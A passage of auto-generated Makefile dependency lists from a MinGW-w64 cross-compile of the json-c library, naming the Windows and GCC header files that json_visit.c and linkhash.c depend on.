/usr/share/mingw-w64/include/threadpoolapiset.h \
/usr/share/mingw-w64/include/threadpoollegacyapiset.h \
/usr/share/mingw-w64/include/utilapiset.h \
/usr/share/mingw-w64/include/wow64apiset.h \
/usr/share/mingw-w64/include/winerror.h \
/usr/share/mingw-w64/include/fltwinerror.h \
/usr/share/mingw-w64/include/timezoneapi.h \
/usr/share/mingw-w64/include/wingdi.h \
/usr/share/mingw-w64/include/pshpack1.h \
/usr/share/mingw-w64/include/winuser.h \
/usr/share/mingw-w64/include/tvout.h \
/usr/share/mingw-w64/include/winnls.h \
/usr/share/mingw-w64/include/datetimeapi.h \
/usr/share/mingw-w64/include/stringapiset.h \
/usr/share/mingw-w64/include/wincon.h \
/usr/share/mingw-w64/include/winver.h \
/usr/share/mingw-w64/include/winreg.h \
/usr/share/mingw-w64/include/reason.h \
/usr/share/mingw-w64/include/winnetwk.h \
/usr/share/mingw-w64/include/wnnc.h \
/usr/share/mingw-w64/include/virtdisk.h \
/usr/share/mingw-w64/include/stralign.h \
/usr/share/mingw-w64/include/sec_api/stralign_s.h \
/usr/share/mingw-w64/include/winsvc.h /usr/share/mingw-w64/include/mcx.h \
/usr/share/mingw-w64/include/imm.h snprintf_compat.h debug.h \
json_tokener.h json_util.h
config.h:
strerror_override.h:
/usr/share/mingw-w64/include/errno.h:
/usr/share/mingw-w64/include/crtdefs.h:
/usr/share/mingw-w64/include/_mingw.h:
/usr/share/mingw-w64/include/_mingw_mac.h:
/usr/share/mingw-w64/include/_mingw_secapi.h:
/usr/share/mingw-w64/include/vadefs.h:
/usr/share/mingw-w64/include/sdks/_mingw_directx.h:
/usr/share/mingw-w64/include/sdks/_mingw_ddk.h:
json_object.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stddef.h:
/usr/share/mingw-w64/include/stddef.h:
json_inttypes.h:
json_config.h:
/usr/share/mingw-w64/include/inttypes.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdint.h:
/usr/share/mingw-w64/include/stdint.h:
/usr/share/mingw-w64/include/_mingw_print_push.h:
/usr/share/mingw-w64/include/_mingw_print_pop.h:
printbuf.h:
/usr/share/mingw-w64/include/string.h:
/usr/share/mingw-w64/include/sec_api/string_s.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdarg.h:
/usr/share/mingw-w64/include/stdarg.h:
/usr/share/mingw-w64/include/_mingw_stdarg.h:
/usr/share/mingw-w64/include/stdio.h:
/usr/share/mingw-w64/include/_mingw_off_t.h:
/usr/x86_64-w64-mingw32/include/swprintf.inl:
/usr/share/mingw-w64/include/sec_api/stdio_s.h:
/usr/share/mingw-w64/include/stdlib.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/limits.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/syslimits.h:
/usr/share/mingw-w64/include/limits.h:
/usr/share/mingw-w64/include/sec_api/stdlib_s.h:
/usr/share/mingw-w64/include/malloc.h:
/usr/share/mingw-w64/include/ctype.h:
/usr/share/mingw-w64/include/sys/types.h:
/usr/share/mingw-w64/include/sys/stat.h:
/usr/share/mingw-w64/include/io.h:
/usr/share/mingw-w64/include/_mingw_stat64.h:
/usr/share/mingw-w64/include/fcntl.h:
/usr/share/mingw-w64/include/unistd.h:
/usr/share/mingw-w64/include/process.h:
/usr/share/mingw-w64/include/getopt.h:
/usr/share/mingw-w64/include/pthread_unistd.h:
/usr/share/mingw-w64/include/windows.h:
/usr/share/mingw-w64/include/sdkddkver.h:
/usr/share/mingw-w64/include/excpt.h:
/usr/share/mingw-w64/include/windef.h:
/usr/share/mingw-w64/include/minwindef.h:
/usr/share/mingw-w64/include/winapifamily.h:
/usr/share/mingw-w64/include/specstrings.h:
/usr/share/mingw-w64/include/sal.h:
/usr/share/mingw-w64/include/winnt.h:
/usr/share/mingw-w64/include/_mingw_unicode.h:
/usr/share/mingw-w64/include/apiset.h:
/usr/share/mingw-w64/include/psdk_inc/intrin-impl.h:
/usr/share/mingw-w64/include/basetsd.h:
/usr/share/mingw-w64/include/guiddef.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/x86intrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/ia32intrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/mmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xmmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/mm_malloc.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/emmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/pmmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/tmmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/ammintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/smmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/popcntintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/wmmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/immintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avxintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx2intrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512fintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512erintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512pfintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512cdintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vlintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512bwintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512dqintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vlbwintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vldqintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512ifmaintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512ifmavlintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vbmiintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vbmivlintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx5124fmapsintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx5124vnniwintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vpopcntdqintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/shaintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/lzcntintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/bmiintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/bmi2intrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/fmaintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/f16cintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/rtmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xtestintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/mm3dnow.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/prfchwintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/fma4intrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xopintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/lwpintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/tbmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/rdseedintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/fxsrintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xsaveintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xsaveoptintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/sgxintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/adxintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/clwbintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/clflushoptintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xsavesintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xsavecintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/mwaitxintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/clzerointrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/pkuintrin.h:
/usr/share/mingw-w64/include/pshpack4.h:
/usr/share/mingw-w64/include/poppack.h:
/usr/share/mingw-w64/include/pshpack4.h:
/usr/share/mingw-w64/include/pshpack2.h:
/usr/share/mingw-w64/include/poppack.h:
/usr/share/mingw-w64/include/pshpack2.h:
/usr/share/mingw-w64/include/pshpack8.h:
/usr/share/mingw-w64/include/pshpack8.h:
/usr/share/mingw-w64/include/ktmtypes.h:
/usr/share/mingw-w64/include/winbase.h:
/usr/share/mingw-w64/include/apisetcconv.h:
/usr/share/mingw-w64/include/minwinbase.h:
/usr/share/mingw-w64/include/bemapiset.h:
/usr/share/mingw-w64/include/debugapi.h:
/usr/share/mingw-w64/include/errhandlingapi.h:
/usr/share/mingw-w64/include/fibersapi.h:
/usr/share/mingw-w64/include/fileapi.h:
/usr/share/mingw-w64/include/handleapi.h:
/usr/share/mingw-w64/include/heapapi.h:
/usr/share/mingw-w64/include/ioapiset.h:
/usr/share/mingw-w64/include/interlockedapi.h:
/usr/share/mingw-w64/include/jobapi.h:
/usr/share/mingw-w64/include/libloaderapi.h:
/usr/share/mingw-w64/include/memoryapi.h:
/usr/share/mingw-w64/include/namedpipeapi.h:
/usr/share/mingw-w64/include/namespaceapi.h:
/usr/share/mingw-w64/include/processenv.h:
/usr/share/mingw-w64/include/processthreadsapi.h:
/usr/share/mingw-w64/include/processtopologyapi.h:
/usr/share/mingw-w64/include/profileapi.h:
/usr/share/mingw-w64/include/realtimeapiset.h:
/usr/share/mingw-w64/include/securityappcontainer.h:
/usr/share/mingw-w64/include/securitybaseapi.h:
/usr/share/mingw-w64/include/synchapi.h:
/usr/share/mingw-w64/include/sysinfoapi.h:
/usr/share/mingw-w64/include/systemtopologyapi.h:
/usr/share/mingw-w64/include/threadpoolapiset.h:
/usr/share/mingw-w64/include/threadpoollegacyapiset.h:
/usr/share/mingw-w64/include/utilapiset.h:
/usr/share/mingw-w64/include/wow64apiset.h:
/usr/share/mingw-w64/include/winerror.h:
/usr/share/mingw-w64/include/fltwinerror.h:
/usr/share/mingw-w64/include/timezoneapi.h:
/usr/share/mingw-w64/include/wingdi.h:
/usr/share/mingw-w64/include/pshpack1.h:
/usr/share/mingw-w64/include/winuser.h:
/usr/share/mingw-w64/include/tvout.h:
/usr/share/mingw-w64/include/winnls.h:
/usr/share/mingw-w64/include/datetimeapi.h:
/usr/share/mingw-w64/include/stringapiset.h:
/usr/share/mingw-w64/include/wincon.h:
/usr/share/mingw-w64/include/winver.h:
/usr/share/mingw-w64/include/winreg.h:
/usr/share/mingw-w64/include/reason.h:
/usr/share/mingw-w64/include/winnetwk.h:
/usr/share/mingw-w64/include/wnnc.h:
/usr/share/mingw-w64/include/virtdisk.h:
/usr/share/mingw-w64/include/stralign.h:
/usr/share/mingw-w64/include/sec_api/stralign_s.h:
/usr/share/mingw-w64/include/winsvc.h:
/usr/share/mingw-w64/include/mcx.h:
/usr/share/mingw-w64/include/imm.h:
snprintf_compat.h:
debug.h:
json_tokener.h:
json_util.h:

View File

@ -0,0 +1,69 @@
json_visit.lo: json_visit.c /usr/share/mingw-w64/include/stdio.h \
/usr/share/mingw-w64/include/crtdefs.h \
/usr/share/mingw-w64/include/_mingw.h \
/usr/share/mingw-w64/include/_mingw_mac.h \
/usr/share/mingw-w64/include/_mingw_secapi.h \
/usr/share/mingw-w64/include/vadefs.h \
/usr/share/mingw-w64/include/sdks/_mingw_directx.h \
/usr/share/mingw-w64/include/sdks/_mingw_ddk.h \
/usr/share/mingw-w64/include/_mingw_print_push.h \
/usr/share/mingw-w64/include/_mingw_off_t.h \
/usr/x86_64-w64-mingw32/include/swprintf.inl \
/usr/share/mingw-w64/include/sec_api/stdio_s.h \
/usr/share/mingw-w64/include/_mingw_print_pop.h config.h json_inttypes.h \
json_config.h /usr/share/mingw-w64/include/inttypes.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdint.h \
/usr/share/mingw-w64/include/stdint.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stddef.h \
/usr/share/mingw-w64/include/stddef.h json_object.h printbuf.h \
json_visit.h linkhash.h
/usr/share/mingw-w64/include/stdio.h:
/usr/share/mingw-w64/include/crtdefs.h:
/usr/share/mingw-w64/include/_mingw.h:
/usr/share/mingw-w64/include/_mingw_mac.h:
/usr/share/mingw-w64/include/_mingw_secapi.h:
/usr/share/mingw-w64/include/vadefs.h:
/usr/share/mingw-w64/include/sdks/_mingw_directx.h:
/usr/share/mingw-w64/include/sdks/_mingw_ddk.h:
/usr/share/mingw-w64/include/_mingw_print_push.h:
/usr/share/mingw-w64/include/_mingw_off_t.h:
/usr/x86_64-w64-mingw32/include/swprintf.inl:
/usr/share/mingw-w64/include/sec_api/stdio_s.h:
/usr/share/mingw-w64/include/_mingw_print_pop.h:
config.h:
json_inttypes.h:
json_config.h:
/usr/share/mingw-w64/include/inttypes.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdint.h:
/usr/share/mingw-w64/include/stdint.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stddef.h:
/usr/share/mingw-w64/include/stddef.h:
json_object.h:
printbuf.h:
json_visit.h:
linkhash.h:

View File

@ -0,0 +1,505 @@
linkhash.lo: linkhash.c config.h /usr/share/mingw-w64/include/stdio.h \
/usr/share/mingw-w64/include/crtdefs.h \
/usr/share/mingw-w64/include/_mingw.h \
/usr/share/mingw-w64/include/_mingw_mac.h \
/usr/share/mingw-w64/include/_mingw_secapi.h \
/usr/share/mingw-w64/include/vadefs.h \
/usr/share/mingw-w64/include/sdks/_mingw_directx.h \
/usr/share/mingw-w64/include/sdks/_mingw_ddk.h \
/usr/share/mingw-w64/include/_mingw_print_push.h \
/usr/share/mingw-w64/include/_mingw_off_t.h \
/usr/x86_64-w64-mingw32/include/swprintf.inl \
/usr/share/mingw-w64/include/sec_api/stdio_s.h \
/usr/share/mingw-w64/include/_mingw_print_pop.h \
/usr/share/mingw-w64/include/string.h \
/usr/share/mingw-w64/include/sec_api/string_s.h \
/usr/share/mingw-w64/include/stdlib.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/limits.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/syslimits.h \
/usr/share/mingw-w64/include/limits.h \
/usr/share/mingw-w64/include/sec_api/stdlib_s.h \
/usr/share/mingw-w64/include/malloc.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdarg.h \
/usr/share/mingw-w64/include/stdarg.h \
/usr/share/mingw-w64/include/_mingw_stdarg.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stddef.h \
/usr/share/mingw-w64/include/stddef.h \
/usr/share/mingw-w64/include/windows.h \
/usr/share/mingw-w64/include/sdkddkver.h \
/usr/share/mingw-w64/include/excpt.h \
/usr/share/mingw-w64/include/windef.h \
/usr/share/mingw-w64/include/minwindef.h \
/usr/share/mingw-w64/include/winapifamily.h \
/usr/share/mingw-w64/include/specstrings.h \
/usr/share/mingw-w64/include/sal.h /usr/share/mingw-w64/include/winnt.h \
/usr/share/mingw-w64/include/_mingw_unicode.h \
/usr/share/mingw-w64/include/ctype.h \
/usr/share/mingw-w64/include/apiset.h \
/usr/share/mingw-w64/include/psdk_inc/intrin-impl.h \
/usr/share/mingw-w64/include/basetsd.h \
/usr/share/mingw-w64/include/guiddef.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/x86intrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/ia32intrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/mmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xmmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/mm_malloc.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/emmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/pmmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/tmmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/ammintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/smmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/popcntintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/wmmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/immintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avxintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx2intrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512fintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512erintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512pfintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512cdintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vlintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512bwintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512dqintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vlbwintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vldqintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512ifmaintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512ifmavlintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vbmiintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vbmivlintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx5124fmapsintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx5124vnniwintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vpopcntdqintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/shaintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/lzcntintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/bmiintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/bmi2intrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/fmaintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/f16cintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/rtmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xtestintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/mm3dnow.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/prfchwintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/fma4intrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xopintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/lwpintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/tbmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/rdseedintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/fxsrintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xsaveintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xsaveoptintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/sgxintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/adxintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/clwbintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/clflushoptintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xsavesintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xsavecintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/mwaitxintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/clzerointrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/pkuintrin.h \
/usr/share/mingw-w64/include/pshpack4.h \
/usr/share/mingw-w64/include/poppack.h \
/usr/share/mingw-w64/include/pshpack4.h \
/usr/share/mingw-w64/include/pshpack2.h \
/usr/share/mingw-w64/include/poppack.h \
/usr/share/mingw-w64/include/pshpack2.h \
/usr/share/mingw-w64/include/pshpack8.h \
/usr/share/mingw-w64/include/pshpack8.h \
/usr/share/mingw-w64/include/ktmtypes.h \
/usr/share/mingw-w64/include/winbase.h \
/usr/share/mingw-w64/include/apisetcconv.h \
/usr/share/mingw-w64/include/minwinbase.h \
/usr/share/mingw-w64/include/bemapiset.h \
/usr/share/mingw-w64/include/debugapi.h \
/usr/share/mingw-w64/include/errhandlingapi.h \
/usr/share/mingw-w64/include/fibersapi.h \
/usr/share/mingw-w64/include/fileapi.h \
/usr/share/mingw-w64/include/handleapi.h \
/usr/share/mingw-w64/include/heapapi.h \
/usr/share/mingw-w64/include/ioapiset.h \
/usr/share/mingw-w64/include/interlockedapi.h \
/usr/share/mingw-w64/include/jobapi.h \
/usr/share/mingw-w64/include/libloaderapi.h \
/usr/share/mingw-w64/include/memoryapi.h \
/usr/share/mingw-w64/include/namedpipeapi.h \
/usr/share/mingw-w64/include/namespaceapi.h \
/usr/share/mingw-w64/include/processenv.h \
/usr/share/mingw-w64/include/processthreadsapi.h \
/usr/share/mingw-w64/include/processtopologyapi.h \
/usr/share/mingw-w64/include/profileapi.h \
/usr/share/mingw-w64/include/realtimeapiset.h \
/usr/share/mingw-w64/include/securityappcontainer.h \
/usr/share/mingw-w64/include/securitybaseapi.h \
/usr/share/mingw-w64/include/synchapi.h \
/usr/share/mingw-w64/include/sysinfoapi.h \
/usr/share/mingw-w64/include/systemtopologyapi.h \
/usr/share/mingw-w64/include/threadpoolapiset.h \
/usr/share/mingw-w64/include/threadpoollegacyapiset.h \
/usr/share/mingw-w64/include/utilapiset.h \
/usr/share/mingw-w64/include/wow64apiset.h \
/usr/share/mingw-w64/include/winerror.h \
/usr/share/mingw-w64/include/fltwinerror.h \
/usr/share/mingw-w64/include/timezoneapi.h \
/usr/share/mingw-w64/include/wingdi.h \
/usr/share/mingw-w64/include/pshpack1.h \
/usr/share/mingw-w64/include/winuser.h \
/usr/share/mingw-w64/include/tvout.h \
/usr/share/mingw-w64/include/winnls.h \
/usr/share/mingw-w64/include/datetimeapi.h \
/usr/share/mingw-w64/include/stringapiset.h \
/usr/share/mingw-w64/include/wincon.h \
/usr/share/mingw-w64/include/winver.h \
/usr/share/mingw-w64/include/winreg.h \
/usr/share/mingw-w64/include/reason.h \
/usr/share/mingw-w64/include/winnetwk.h \
/usr/share/mingw-w64/include/wnnc.h \
/usr/share/mingw-w64/include/virtdisk.h \
/usr/share/mingw-w64/include/stralign.h \
/usr/share/mingw-w64/include/sec_api/stralign_s.h \
/usr/share/mingw-w64/include/winsvc.h /usr/share/mingw-w64/include/mcx.h \
/usr/share/mingw-w64/include/imm.h random_seed.h linkhash.h \
json_object.h json_inttypes.h json_config.h \
/usr/share/mingw-w64/include/inttypes.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdint.h \
/usr/share/mingw-w64/include/stdint.h printbuf.h
config.h:
/usr/share/mingw-w64/include/stdio.h:
/usr/share/mingw-w64/include/crtdefs.h:
/usr/share/mingw-w64/include/_mingw.h:
/usr/share/mingw-w64/include/_mingw_mac.h:
/usr/share/mingw-w64/include/_mingw_secapi.h:
/usr/share/mingw-w64/include/vadefs.h:
/usr/share/mingw-w64/include/sdks/_mingw_directx.h:
/usr/share/mingw-w64/include/sdks/_mingw_ddk.h:
/usr/share/mingw-w64/include/_mingw_print_push.h:
/usr/share/mingw-w64/include/_mingw_off_t.h:
/usr/x86_64-w64-mingw32/include/swprintf.inl:
/usr/share/mingw-w64/include/sec_api/stdio_s.h:
/usr/share/mingw-w64/include/_mingw_print_pop.h:
/usr/share/mingw-w64/include/string.h:
/usr/share/mingw-w64/include/sec_api/string_s.h:
/usr/share/mingw-w64/include/stdlib.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/limits.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/syslimits.h:
/usr/share/mingw-w64/include/limits.h:
/usr/share/mingw-w64/include/sec_api/stdlib_s.h:
/usr/share/mingw-w64/include/malloc.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdarg.h:
/usr/share/mingw-w64/include/stdarg.h:
/usr/share/mingw-w64/include/_mingw_stdarg.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stddef.h:
/usr/share/mingw-w64/include/stddef.h:
/usr/share/mingw-w64/include/windows.h:
/usr/share/mingw-w64/include/sdkddkver.h:
/usr/share/mingw-w64/include/excpt.h:
/usr/share/mingw-w64/include/windef.h:
/usr/share/mingw-w64/include/minwindef.h:
/usr/share/mingw-w64/include/winapifamily.h:
/usr/share/mingw-w64/include/specstrings.h:
/usr/share/mingw-w64/include/sal.h:
/usr/share/mingw-w64/include/winnt.h:
/usr/share/mingw-w64/include/_mingw_unicode.h:
/usr/share/mingw-w64/include/ctype.h:
/usr/share/mingw-w64/include/apiset.h:
/usr/share/mingw-w64/include/psdk_inc/intrin-impl.h:
/usr/share/mingw-w64/include/basetsd.h:
/usr/share/mingw-w64/include/guiddef.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/x86intrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/ia32intrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/mmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xmmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/mm_malloc.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/emmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/pmmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/tmmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/ammintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/smmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/popcntintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/wmmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/immintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avxintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx2intrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512fintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512erintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512pfintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512cdintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vlintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512bwintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512dqintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vlbwintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vldqintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512ifmaintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512ifmavlintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vbmiintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vbmivlintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx5124fmapsintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx5124vnniwintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vpopcntdqintrin.h:
